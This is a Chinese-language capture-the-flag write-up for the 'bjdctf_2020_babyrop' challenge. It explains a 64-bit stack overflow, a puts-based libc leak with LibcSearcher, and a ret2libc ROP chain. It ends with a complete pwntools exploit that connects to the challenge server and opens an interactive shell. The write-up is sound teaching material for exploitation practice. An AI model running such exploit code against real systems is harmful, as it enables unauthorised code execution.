bjdctf_2020_babyrop[64位libc泄露]
題目附件
解題步驟:
例行檢查,64位程式,開啟了NX保護

試運行一下程式,看看大概的情況,看提示,應該是道泄露libc的題目

64位ida載入,shift+f12檢索程式里的字串,沒有找到可以直接使用的system(’/bin/sh’)
從main函式開始看程式

main函式呼叫了一個vuln函式

buf的大小是0x20,read讀入的長度是0x64,明顯的溢位漏洞
根據已有的資訊和得到的提示,是一道64位的libc泄露
利用思路:
- 利用puts函式去泄露libc版本(一定是使用程式里已經呼叫過的函式才可以)
- 計算偏移量,算出程式里的system函式和字串“/bin/sh”的地址
- 利用溢位漏洞,構造rop,獲取shell
利用程序:
- 泄露libc
64位程式在傳參的時候需要用到暫存器
當引數少于7個時, 引數從左到右放入暫存器: rdi, rsi, rdx, rcx, r8, r9,
當引數為7個以上時, 前 6 個與前面一樣, 但后面的依次從 “右向左” 放入堆疊中,即和32位匯編一樣,
我們找一下設定rdi暫存器的指令
ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"

payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
- 計算system和bin/sh的實際地址
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
- 構造rop,獲取shell
payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
基本上的程序就是這樣,在泄露libc的時候有關recv接收幾個位元組的具體的推薦內容,推薦加上context.log_level='debug'這句代碼,自己除錯,自己看看
完整EXP
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',28032)
elf=ELF('./bjdctf_2020_babyrop')
context.log_level='debug'
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733
payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.interactive()
匹配到多個libc,選第一個

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/165140.html
標籤:AI
